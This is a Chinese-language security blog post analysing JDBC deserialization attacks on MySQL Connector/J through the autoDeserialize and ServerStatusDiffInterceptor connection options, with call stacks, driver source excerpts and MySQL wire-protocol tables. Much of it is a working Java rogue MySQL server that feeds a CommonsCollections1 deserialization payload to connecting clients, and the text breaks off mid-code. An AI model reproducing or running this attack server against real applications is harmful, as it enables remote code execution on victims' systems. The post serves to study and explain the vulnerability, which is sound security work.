Java JDBC attack

sky123

JDBC(Java DataBase Connectivity)是 SUN 公司发布的一个 java 程序与数据库之间通信的接口(规范),各大数据库厂商去实现 JDBC 规范,并将实现类打包成 jar 包。

img

通常基于 JDBC 的数据库查询过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
String url = "jdbc:postgresql://127.0.0.1:5432/test";
try (Connection conn = DriverManager.getConnection(url, "user", "pass");
PreparedStatement ps = conn.prepareStatement(
"SELECT id,name FROM users WHERE email = ?")) {
ps.setString(1, "a@b.c"); // 参数化,防 SQL 注入
try (ResultSet rs = ps.executeQuery()) {
while (rs.next()) {
int id = rs.getInt("id");
String name = rs.getString("name");
// [...]
}
}
}

其中进行数据库连接时指定了数据库的 URL 及连接配置:

1
Connection conn = DriverManager.getConnection(url, "user", "pass")

若 JDBC 连接的 URL 被攻击者控制,就可以让其指向恶意的数据库服务器,而攻击者可以搭建恶意数据库服务器,返回精心构造的查询结果集,进行客户端反序列化攻击。这就是 JDBC attack。

MySQL Attack

1
2
3
4
5
<dependency>  
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.13</version>
</dependency>

代码分析

以这段代码为例:

1
2
3
4
5
6
7
8
9
10
import java.sql.DriverManager;

public class MySQLTest {
public static void main(String[] args) throws Exception {
String url = "jdbc:mysql://127.0.0.1:3306/jdbc?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai" +
"&autoDeserialize=true" +
"&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
DriverManager.getConnection(url, "root", "root");
}
}

反序列化触发过程的调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:373)
at com.mysql.cj.jdbc.result.ResultSetImpl.getObject(ResultSetImpl.java:1326)
at com.mysql.cj.jdbc.util.ResultSetUtil.resultSetToMap(ResultSetUtil.java:46)
at com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor.populateMapWithSessionStatusValues(ServerStatusDiffInterceptor.java:87)
at com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor.preProcess(ServerStatusDiffInterceptor.java:105)
at com.mysql.cj.NoSubInterceptorWrapper.preProcess(NoSubInterceptorWrapper.java:76)
at com.mysql.cj.protocol.a.NativeProtocol.invokeQueryInterceptorsPre(NativeProtocol.java:1137)
at com.mysql.cj.protocol.a.NativeProtocol.sendQueryPacket(NativeProtocol.java:963)
at com.mysql.cj.protocol.a.NativeProtocol.sendQueryString(NativeProtocol.java:914)
at com.mysql.cj.NativeSession.execSQL(NativeSession.java:1150)
at com.mysql.cj.jdbc.ConnectionImpl.setAutoCommit(ConnectionImpl.java:2064)
at com.mysql.cj.jdbc.ConnectionImpl.handleAutoCommitDefaults(ConnectionImpl.java:1382)
at com.mysql.cj.jdbc.ConnectionImpl.initializePropsFromServer(ConnectionImpl.java:1327)
at com.mysql.cj.jdbc.ConnectionImpl.connectOneTryOnly(ConnectionImpl.java:966)
at com.mysql.cj.jdbc.ConnectionImpl.createNewIO(ConnectionImpl.java:825)
at com.mysql.cj.jdbc.ConnectionImpl.<init>(ConnectionImpl.java:455)
at com.mysql.cj.jdbc.ConnectionImpl.getInstance(ConnectionImpl.java:240)
at com.mysql.cj.jdbc.NonRegisteringDriver.connect(NonRegisteringDriver.java:207)
at java.sql.DriverManager.getConnection(DriverManager.java:664)
at java.sql.DriverManager.getConnection(DriverManager.java:247)
at MySQLTest.main(MySQLTest.java:9)

连接字符串解析

com.mysql.cj.jdbc.NonRegisteringDriver#connect 会调用 com.mysql.cj.conf.ConnectionUrl#getConnectionUrlInstance 解析连接字符串,然后调用 com.mysql.cj.jdbc.ConnectionImpl#getInstance 函数根据解析出的属性进行初始化。

1
2
3
4
ConnectionUrl conStr = ConnectionUrl.getConnectionUrlInstance(url, info);
switch (conStr.getType()) {
case SINGLE_CONNECTION:
return com.mysql.cj.jdbc.ConnectionImpl.getInstance(conStr.getMainHost());

连接字符串被解析成 ConnectionUrl 对象,而我们传入的参数被存储在 properties 属性中:

1
2
3
4
5
6
7
8
9
10
11
12
13
conStr = {SingleConnectionUrl@953} "com.mysql.cj.conf.url.SingleConnectionUrl@29774679 :: {type: "SINGLE_CONNECTION", hosts: [com.mysql.cj.conf.HostInfo@59494225 :: {host: "127.0.0.1", port: 3306, user: root, password: root, hostProperties: {autoDeserialize=true, serverTimezone=Asia/Shanghai, queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor, dbname=jdbc, characterEncoding=UTF-8}}], database: "jdbc", properties: {autoDeserialize=true, password=root, queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor, serverTimezone=Asia/Shanghai, characterEncoding=UTF-8, user=root}, propertiesTransformer: null}"
hosts = {ArrayList@1032} size = 1
type = {ConnectionUrl$Type@1030} "SINGLE_CONNECTION"
originalConnStr = "jdbc:mysql://127.0.0.1:3306/jdbc?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"
originalDatabase = "jdbc"
properties = {HashMap@1033} size = 6
"autoDeserialize" -> "true"
"password" -> "root"
"queryInterceptors" -> "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"
"serverTimezone" -> "Asia/Shanghai"
"characterEncoding" -> "UTF-8"
"user" -> "root"
propertiesTransformer = null

ConnectionImpl#getInstance 的参数 hostInfohostProperties 属性同样存储着我们传入的参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
hostInfo = {HostInfo@1095} "com.mysql.cj.conf.HostInfo@59494225 :: {host: "127.0.0.1", port: 3306, user: root, password: root, hostProperties: {autoDeserialize=true, serverTimezone=Asia/Shanghai, queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor, dbname=jdbc, characterEncoding=UTF-8}}"
originalUrl = {SingleConnectionUrl@953} "com.mysql.cj.conf.url.SingleConnectionUrl@29774679 :: {type: "SINGLE_CONNECTION", hosts: [com.mysql.cj.conf.HostInfo@59494225 :: {host: "127.0.0.1", port: 3306, user: root, password: root, hostProperties: {autoDeserialize=true, serverTimezone=Asia/Shanghai, queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor, dbname=jdbc, characterEncoding=UTF-8}}], database: "jdbc", properties: {autoDeserialize=true, password=root, queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor, serverTimezone=Asia/Shanghai, characterEncoding=UTF-8, user=root}, propertiesTransformer: null}"
host = "127.0.0.1"
port = 3306
user = "root"
password = "root"
isPasswordless = false
hostProperties = {HashMap@1122} size = 5
"autoDeserialize" -> "true"
"serverTimezone" -> "Asia/Shanghai"
"queryInterceptors" -> "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"
"dbname" -> "jdbc"
"characterEncoding" -> "UTF-8"

随后在 com.mysql.cj.jdbc.ConnectionImpl 的构造函数中,参数 queryInterceptors 设置的 com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor 会被加载到 queryInterceptors 属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public ConnectionImpl(HostInfo hostInfo) throws SQLException {
// [...]
this.props = hostInfo.exposeAsProperties();
this.propertySet = new JdbcPropertySetImpl();
this.propertySet.initializeProperties(this.props);
// [...]
initializeSafeQueryInterceptors();
// [...]
}

public void initializeSafeQueryInterceptors() throws SQLException {
this.queryInterceptors = Util
.<QueryInterceptor> loadClasses(this.propertySet.getStringProperty(PropertyKey.queryInterceptors).getStringValue(),
"MysqlIo.BadQueryInterceptor", getExceptionInterceptor())
.stream().map(o -> new NoSubInterceptorWrapper(o.init(this, this.props, this.session.getLog()))).collect(Collectors.toList());
}

需要注意的是 queryInterceptors 不是直接存放的 ServerStatusDiffInterceptor.class,而是存放经 NoSubInterceptorWrapper 包装后的 ServerStatusDiffInterceptor.class(位于 underlyingInterceptor 属性)。

拦截器设置

首先有如下调用栈:

1
2
3
4
5
6
7
8
9
10
at com.mysql.cj.protocol.a.NativeProtocol.setQueryInterceptors(NativeProtocol.java:1413)
at com.mysql.cj.NativeSession.setQueryInterceptors(NativeSession.java:253)
at com.mysql.cj.jdbc.ConnectionImpl.connectOneTryOnly(ConnectionImpl.java:963)
at com.mysql.cj.jdbc.ConnectionImpl.createNewIO(ConnectionImpl.java:825)
at com.mysql.cj.jdbc.ConnectionImpl.<init>(ConnectionImpl.java:455)
at com.mysql.cj.jdbc.ConnectionImpl.getInstance(ConnectionImpl.java:240)
at com.mysql.cj.jdbc.NonRegisteringDriver.connect(NonRegisteringDriver.java:207)
at java.sql.DriverManager.getConnection(DriverManager.java:664)
at java.sql.DriverManager.getConnection(DriverManager.java:247)
at MySQLTest.main(MySQLTest.java:8)

前面初始化的 ConnectionImpl#queryInterceptors 被设置到 com.mysql.cj.protocol.a.NativeProtocol#queryInterceptors 上。

1
2
3
public void setQueryInterceptors(List<QueryInterceptor> queryInterceptors) {
this.queryInterceptors = queryInterceptors.isEmpty() ? null : queryInterceptors;
}

随后又有如下调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
at com.mysql.cj.protocol.a.NativeProtocol.invokeQueryInterceptorsPre(NativeProtocol.java:1137)
at com.mysql.cj.protocol.a.NativeProtocol.sendQueryPacket(NativeProtocol.java:963)
at com.mysql.cj.protocol.a.NativeProtocol.sendQueryString(NativeProtocol.java:914)
at com.mysql.cj.NativeSession.execSQL(NativeSession.java:1150)
at com.mysql.cj.jdbc.ConnectionImpl.setAutoCommit(ConnectionImpl.java:2064)
at com.mysql.cj.jdbc.ConnectionImpl.handleAutoCommitDefaults(ConnectionImpl.java:1382)
at com.mysql.cj.jdbc.ConnectionImpl.initializePropsFromServer(ConnectionImpl.java:1327)
at com.mysql.cj.jdbc.ConnectionImpl.connectOneTryOnly(ConnectionImpl.java:966)
at com.mysql.cj.jdbc.ConnectionImpl.createNewIO(ConnectionImpl.java:825)
at com.mysql.cj.jdbc.ConnectionImpl.<init>(ConnectionImpl.java:455)
at com.mysql.cj.jdbc.ConnectionImpl.getInstance(ConnectionImpl.java:240)
at com.mysql.cj.jdbc.NonRegisteringDriver.connect(NonRegisteringDriver.java:207)
at java.sql.DriverManager.getConnection(DriverManager.java:664)
at java.sql.DriverManager.getConnection(DriverManager.java:247)
at MySQLTest.main(MySQLTest.java:8)

其中 com.mysql.cj.protocol.a.NativeProtocol#invokeQueryInterceptorsPre 函数会遍历到 queryInterceptors 中的 NoSubInterceptorWrapper 并调用其 preProcess 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public <T extends Resultset> T invokeQueryInterceptorsPre(Supplier<String> sql, Query interceptedQuery, boolean forceExecute) {
T previousResultSet = null;

for (int i = 0, s = this.queryInterceptors.size(); i < s; i++) {
QueryInterceptor interceptor = this.queryInterceptors.get(i);

boolean executeTopLevelOnly = interceptor.executeTopLevelOnly();
boolean shouldExecute = (executeTopLevelOnly && (this.statementExecutionDepth == 1 || forceExecute)) || (!executeTopLevelOnly);

if (shouldExecute) {
T interceptedResultSet = interceptor.preProcess(sql, interceptedQuery);

if (interceptedResultSet != null) {
previousResultSet = interceptedResultSet;
}
}
}

return previousResultSet;
}

NoSubInterceptorWrapper#preProcess 会调用属性 underlyingInterceptorpreProcess 方法,也就是我们前面设置的 queryInterceptors 参数指定的 ServerStatusDiffInterceptorpreProcess 方法。

1
2
3
4
5
public <T extends Resultset> T preProcess(Supplier<String> sql, Query interceptedQuery) {
this.underlyingInterceptor.preProcess(sql, interceptedQuery);

return null; // don't allow result set substitution
}

反序列化触发

com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor 是一个拦截器。

前面分析过 ServerStatusDiffInterceptor#preProcess 的触发过程,实际上在 SQL 相关操作之后还会触发 ServerStatusDiffInterceptor#postProcess 调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public <T extends Resultset> T preProcess(Supplier<String> sql, Query interceptedQuery) {

populateMapWithSessionStatusValues(this.preExecuteValues);

return null; // we don't actually modify a result set
}

public <T extends Resultset> T postProcess(Supplier<String> sql, Query interceptedQuery, T originalResultSet, ServerSession serverSession) {

populateMapWithSessionStatusValues(this.postExecuteValues);

this.log.logInfo("Server status change for query:\n" + Util.calculateDifferences(this.preExecuteValues, this.postExecuteValues));

return null; // we don't actually modify a result set

}

两者都会调用 populateMapWithSessionStatusValues 函数,该函数会执行 sql 语句 SHOW SESSION STATUS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
private void populateMapWithSessionStatusValues(Map<String, String> toPopulate) {
java.sql.Statement stmt = null;
java.sql.ResultSet rs = null;

try {
try {
toPopulate.clear();

stmt = this.connection.createStatement();
rs = stmt.executeQuery("SHOW SESSION STATUS");
ResultSetUtil.resultSetToMap(toPopulate, rs);
} finally {
if (rs != null) {
rs.close();
}

if (stmt != null) {
stmt.close();
}
}
} catch (SQLException ex) {
throw ExceptionFactory.createException(ex.getMessage(), ex);
}
}

在对查询结果转换时会调用 com.mysql.cj.jdbc.util.ResultSetUtil#resultSetToMap 函数:

1
2
3
4
5
public static void resultSetToMap(Map mappedValues, ResultSet rs) throws SQLException {
while (rs.next()) {
mappedValues.put(rs.getObject(1), rs.getObject(2));
}
}

随后会调用 com.mysql.cj.jdbc.result.ResultSetImpl#getObject 获取查询结果的第一行的前两列的值。在这个过程中对于像 BLOB 这种类型的数据会触发反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
case BLOB:
if (field.isBinary() || field.isBlob()) {
byte[] data = getBytes(columnIndex);

if (this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue()) {
Object obj = data;

if ((data != null) && (data.length >= 2)) {
if ((data[0] == -84) && (data[1] == -19)) {
// Serialized object?
try {
ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
ObjectInputStream objIn = new ObjectInputStream(bytesIn);
obj = objIn.readObject();
objIn.close();
bytesIn.close();
} catch (ClassNotFoundException cnfe) {
throw SQLError.createSQLException(Messages.getString("ResultSet.Class_not_found___91") + cnfe.toString()
+ Messages.getString("ResultSet._while_reading_serialized_object_92"), getExceptionInterceptor());
} catch (IOException ex) {
obj = data; // not serialized?
}
} else {
return getString(columnIndex);
}
}

return obj;
}

return data;
}

return getBytes(columnIndex);

JDBC 连接协议

数据包格式

这里我们只需要关心伪造的服务端需要发送的数据包的具体格式即可。

首先每一帧 MySQL 报文前都有固定 4 字节包头用来描述数据包的长度和序号:

字段 长度 端序 说明
payload_length 3 B 小端 不含包头,仅负载长度(最大 16MB−1)
sequence_id 1 B 序号:一次命令交互内从 0 开始、逐帧 +1

注意

一次命令内(例如一个 COM_QUERY所有往返包sequence_id 必须严格递增;序号错位是伪服务端最常见的错误。

Greeting(握手包 HandshakeV10)

建立 TCP 连接后,服务器先发 Greeting,里面包含能力位(capability flags)、字符集、salt 等。

握手包的字段格式如下:

字段 类型 说明
protocol_version 1 B 0x0A 表示协议 v10
server_version NTS \0 结尾的版本字符串,如 "5.7.19\0"
connection_id 4 B 连接 ID,小端
auth_plugin_data_part1 8 B 认证随机盐(前 8 字节)
filler 1 B 固定 0x00
capability_flags_1 2 B 能力位(低 16 位)
character_set 1 B 服务器字符集(如 0x21 = utf8_general_ci0x08 = latin1
status_flags 2 B SERVER_STATUS_AUTOCOMMIT
capability_flags_2 2 B 能力位(高 16 位);与上两字节拼成 32 位
auth_plugin_data_len 1 B 若带 CLIENT_PLUGIN_AUTH
reserved 10 B 全 0
auth_plugin_data_part2 N 第二段盐(总长度与上字段有关)
auth_plugin_name NTS "mysql_native_password\0"

Response OK(通用 OK 包)

客户端回握手响应,服务端回 OK_Packet 表示认证成功。

OK 包在 4.1 协议下还会携带 warnings 计数status_flags。这两个字段会影响驱动是否去查 SHOW WARNINGS

1
2
3
4
5
6
07 00 00 02      # 长度=7, seq=2
00 # OK header
00 # affected_rows = 0 (LCB)
00 # last_insert_id = 0 (LCB)
02 00 # status_flags = 0x0002 (SERVER_STATUS_AUTOCOMMIT)
00 00 # warnings = 0

Text Protocol 结果集(Resultset)

Text Protocol 结果集是整个 MySQL JDBC attack 值最重要的阶段,JDBC attack 常在结果集的某一列填入 BLOB 序列化流,配合驱动 autoDeserialize 触发反序列化。

由于描述数据库查询结果需要适配多种数据类型,因此在 Text Protocol 结果集的数据包中经常会看到 lenenc_* 类型,这是带有长度描述的类型:

  • lenenc_int = Length-Encoded Integer(长度编码整数):用首字节决定后面要不要再跟 0/2/3/8 个字节来表达一个整数,小端序

    首字节 含义 后续字节 可表示范围 端序
    0x000xFA 值就等于这个字节 0 0..250
    0xFB NULL(仅在允许 NULL 的位置才会出现) 0
    0xFC 长度在接下来的 2 字节里 2 251..65,535 小端
    0xFD 长度在接下来的 3 字节里 3 65,536..16,777,215 小端
    0xFE 长度在接下来的 8 字节里 8 16,777,216..2⁶⁴−1 小端
    0xFF 未使用/保留
  • lenenc_str = Length-Encoded String(长度编码字符串/字节串):先放一个 lenenc_int 表示长度,后面紧跟这么多字节的数据。遇到特殊首字节 0xFB 则表示 NULL(在允许为 NULL 的场景)。

    • 普通文本 "abc"0x03 61 62 63
    • 长度=2510xFC 0xFB 0x00 <251字节数据>
    • 很长的字节串(例如 70,000 字节)
      长度 70000 = 0x011170(小端 3 字节)→ 0xFD 0x70 0x11 0x01 <70000字节数据>
    • NULL → 单字节 **0xFB**(注意:这是“NULL 值”,不是长度 251)

一个 Text Resultset 的响应由 5 个逻辑段按顺序组成,其中第 2 段会有 column_count 个包(每列一个定义包),第 4 段会有 rows 个包(每行一个包)。

  • 段1:列数lenenc_int
  • 段2:列定义ColumnDefinition × column_count
  • 段3:列定义结束包(这里需要忽略,否则会卡住)
  • 段4:行数据(每行每列用 lenenc_str 编码)
  • 段5:行结束包EOF

列定义(ColumnDefinition)结构(5.7+):

字段 类型 示例/说明
catalog lenenc_str 一般 "def"
schema lenenc_str 库名;可为空
table lenenc_str 逻辑表名
org_table lenenc_str 物理表名
name lenenc_str 列名
org_name lenenc_str 物理列名
fixed_length_fields_len 1 B 固定 0x0C
character_set 2 B LE 0x003F = binary(常用于“原样字节”)
column_length 4 B LE 最大显示长度
type 1 B **0xFC=BLOB**、0xFD=VAR_STRING0x0F=VARCHAR
flags 2 B LE 可为 BINARY/NOT_NULL
decimals 1 B 小数位
filler 2 B 全 0
[default values] 可选 老版本可能存在

协议过程

sequenceDiagram
    autonumber
    %% 参与方用不同颜色标记(用彩色方块 emoji 辅助区分)
    participant App as 受害 Java 应用
    participant Driver as Connector/J 驱动
    participant FakeMySQL as 伪 MySQL 服务端

    Note over FakeMySQL,Driver: 图例:🟤 Handshake / 🟢 OK / 🔴 ERR / 🟣 EOF / 🔵 Resultset Header / 🟡 ColumnDefinition / 🟠 Row

    %% === 握手阶段(浅绿背景) ===
    rect rgba(200,255,200,0.25)
        App->>Driver: DriverManager.getConnection(jdbcUrl) 🔑
        Note right of Driver: jdbcUrl 含
autoDeserialize=true
queryInterceptors=ServerStatusDiffInterceptor Driver->>FakeMySQL: TCP 连接 🌐 FakeMySQL-->>Driver: 🟤 Greeting (HandshakeV10) Driver-->>FakeMySQL: Login Request(capability flags 等) FakeMySQL-->>Driver: 🟢 OK(认证成功) end %% === 会话初始化(浅蓝背景) === rect rgba(200,225,255,0.25) loop 会话初始化 Driver-->>FakeMySQL: SET NAMES / SET character_set_results ... FakeMySQL-->>Driver: 🟢 OK end end %% === 利用阶段(浅橙背景) === rect rgba(255,230,200,0.30) Note over Driver: ServerStatusDiffInterceptor 会主动执行
SHOW SESSION STATUS Driver-->>FakeMySQL: SHOW SESSION STATUS FakeMySQL-->>Driver: 🔵 Resultset Header: column_count = 2 FakeMySQL-->>Driver: 🟡 ColumnDefinition ×2(第1列=BLOB) FakeMySQL-->>Driver: 🟠 Row: [, NULL] FakeMySQL-->>Driver: 🟣 EOF(结果集结束) Driver->>Driver: ResultSet.getObject(...)(因 autoDeserialize) ⚙️ Note right of Driver: ObjectInputStream 反序列化 BLOB
触发 gadget 链(如 CommonsCollections)
➡️ Runtime.exec("calc") 💥 end Driver-->>App: getConnection 返回(恶意代码已执行) ✅
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.net.ServerSocket;
import java.net.Socket;
import java.nio.charset.StandardCharsets;
import java.security.SecureRandom;
import java.util.Locale;

public class MySQLAttackServer {

// -------- logging --------
static final class Log {
static final boolean DEBUG = Boolean.parseBoolean(System.getProperty("mock.debug", "true"));

static void info(String s) {
System.out.println("[INFO ] " + s);
}

static void warn(String s) {
System.out.println("[WARN ] " + s);
}

static void error(String s) {
System.err.println("[ERROR] " + s);
}

static void debug(String s) {
if (DEBUG) System.out.println("[DEBUG] " + s);
}

static String hex(byte[] b, int max) {
if (b == null) return "<null>";
int n = Math.min(b.length, max);
StringBuilder sb = new StringBuilder(n * 2);
for (int i = 0; i < n; i++) sb.append(String.format("%02x", b[i]));
if (b.length > max) sb.append("..(+").append(b.length - max).append(')');
return sb.toString();
}

static String capsToString(int caps) {
StringBuilder sb = new StringBuilder();
appendCap(sb, caps, CLIENT_LONG_PASSWORD, "LONG_PASSWORD");
appendCap(sb, caps, CLIENT_LONG_FLAG, "LONG_FLAG");
appendCap(sb, caps, CLIENT_CONNECT_WITH_DB, "CONNECT_WITH_DB");
appendCap(sb, caps, CLIENT_PROTOCOL_41, "PROTOCOL_41");
appendCap(sb, caps, CLIENT_SECURE_CONNECTION, "SECURE_CONNECTION");
appendCap(sb, caps, CLIENT_PLUGIN_AUTH, "PLUGIN_AUTH");
appendCap(sb, caps, CLIENT_CONNECT_ATTRS, "CONNECT_ATTRS");
appendCap(sb, caps, CLIENT_DEPRECATE_EOF, "DEPRECATE_EOF");
appendCap(sb, caps, CLIENT_PLUGIN_AUTH_LENENC_CLIENT_DATA, "PLUGIN_AUTH_LENENC_DATA");
return sb.toString();
}

private static void appendCap(StringBuilder sb, int caps, int bit, String name) {
if ((caps & bit) != 0) {
if (sb.length() > 0) sb.append('|');
sb.append(name);
}
}

static String charsetName(int id) {
switch (id & 0xFF) {
case 0x21:
return "utf8_general_ci";
case 0x3F:
return "binary";
case 0x08:
return "latin1_swedish_ci";
default:
return "charset#" + id;
}
}

static String typeName(int t) {
switch (t & 0xFF) {
case MYSQL_TYPE_BLOB:
return "BLOB";
case MYSQL_TYPE_VAR_STRING:
return "VAR_STRING";
default:
return "TYPE#" + t;
}
}

static String serverStatusNames(int status) {
StringBuilder sb = new StringBuilder();
if ((status & SERVER_STATUS_AUTOCOMMIT) != 0) {
if (sb.length() > 0) sb.append('|');
sb.append("AUTOCOMMIT");
}
if ((status & SERVER_MORE_RESULTS) != 0) {
if (sb.length() > 0) sb.append('|');
sb.append("MORE_RESULTS");
}
if (sb.length() == 0) sb.append("0");
return sb.toString();
}
}

// -------- client capability flags(子集)--------
static final int CLIENT_LONG_PASSWORD = 0x00000001;
static final int CLIENT_LONG_FLAG = 0x00000004;
static final int CLIENT_CONNECT_WITH_DB = 0x00000008;
static final int CLIENT_PROTOCOL_41 = 0x00000200;
static final int CLIENT_SECURE_CONNECTION = 0x00008000;
static final int CLIENT_PLUGIN_AUTH = 0x00080000;
static final int CLIENT_CONNECT_ATTRS = 0x00100000;
static final int CLIENT_DEPRECATE_EOF = 0x01000000;
static final int CLIENT_PLUGIN_AUTH_LENENC_CLIENT_DATA = 0x00200000;

// -------- server status flags --------
static final int SERVER_STATUS_AUTOCOMMIT = 0x0002;
static final int SERVER_MORE_RESULTS = 0x0008;

// -------- MySQL 列类型(只保留两档)--------
static final int MYSQL_TYPE_BLOB = 0xFC; // 二进制
static final int MYSQL_TYPE_VAR_STRING = 0xFD; // 文本

// -------- 字符集/标志 --------
static final int CS_UTF8_GENERAL_CI = 0x21; // utf8_general_ci
static final int CS_BINARY = 0x003F; // binary
static final int BINARY_FLAG = 0x0080; // 可选,标记成 binary,有助少数驱动判别字节列

public static void main(String[] args) throws Exception {
final int port = (args.length > 0) ? Integer.parseInt(args[0]) : 3306;
try (ServerSocket ss = new ServerSocket(port)) {
Log.info("listening on " + port + " (debug=" + Log.DEBUG + ")");
for (; ; ) {
final Socket client = ss.accept();
Thread t = new Thread(new Session(client, CommonsCollections1.getPayload("calc")), "mysql-mock-" + client.getPort());
t.setDaemon(true);
t.start();
}
}
}

// ---------- 会话 ----------
static final class Session implements Runnable {
final Socket sock;
final DataInputStream in;
final OutputStream out;
final SecureRandom rnd = new SecureRandom();
final byte[] payload;
int clientCaps;
boolean deprecateEOF;

Session(Socket sock, byte[] payload) throws IOException {
this.sock = sock;
this.sock.setTcpNoDelay(true);
this.sock.setSoTimeout(15000);
this.payload = payload;
this.in = new DataInputStream(sock.getInputStream());
this.out = sock.getOutputStream();
}

public void run() {
try {
Log.info("accepted " + sock.getRemoteSocketAddress());

// 1) Greeting (seq=0)
GreetingInfo gi = buildGreetingV10(rnd);
PacketCodec.write(out, 0, gi.bytes);
ProtocolLog.serverGreeting(gi);

// 2) Login Request (seq=1)
Packet login = PacketCodec.read(in);
if (login == null || login.payload.length < 4) return;
HandshakeResp hsr = ProtocolLog.parseHandshakeResponse41(login.payload);
clientCaps = hsr.clientFlags;
deprecateEOF = (clientCaps & CLIENT_DEPRECATE_EOF) != 0;
ProtocolLog.clientHandshakeResponse(hsr);

// 3) Auth OK(seq=2)
byte[] ok = buildOk(SERVER_STATUS_AUTOCOMMIT, 0);
PacketCodec.write(out, 2, ok);
ProtocolLog.serverOk(2, 0, 0, SERVER_STATUS_AUTOCOMMIT, 0, "Auth OK");

// 4) 命令循环
for (; ; ) {
Packet p = PacketCodec.read(in);
if (p == null || p.payload.length == 0) {
Log.info("client closed: " + sock.getRemoteSocketAddress());
break;
}

String sql = new String(p.payload, 1, p.payload.length - 1, StandardCharsets.UTF_8).trim();
ProtocolLog.clientCommand("COM_QUERY", p.seq, "sql=" + sql);
String s = sql.toLowerCase(Locale.ROOT);

if (s.startsWith("set names") || s.startsWith("set character_set_results")) {
PacketCodec.write(out, 1, buildOk(SERVER_STATUS_AUTOCOMMIT, 0));
ProtocolLog.serverOk(1, 0, 0, SERVER_STATUS_AUTOCOMMIT, 0, "SET OK");
continue;
}

if (s.startsWith("show session status")) {
// 正常两列文本
Resultset rs = Resultset.adaptive(
new String[]{"c", "c"},
new Object[][]{
{payload, null},
}
);
rs.send(out);
continue;
}

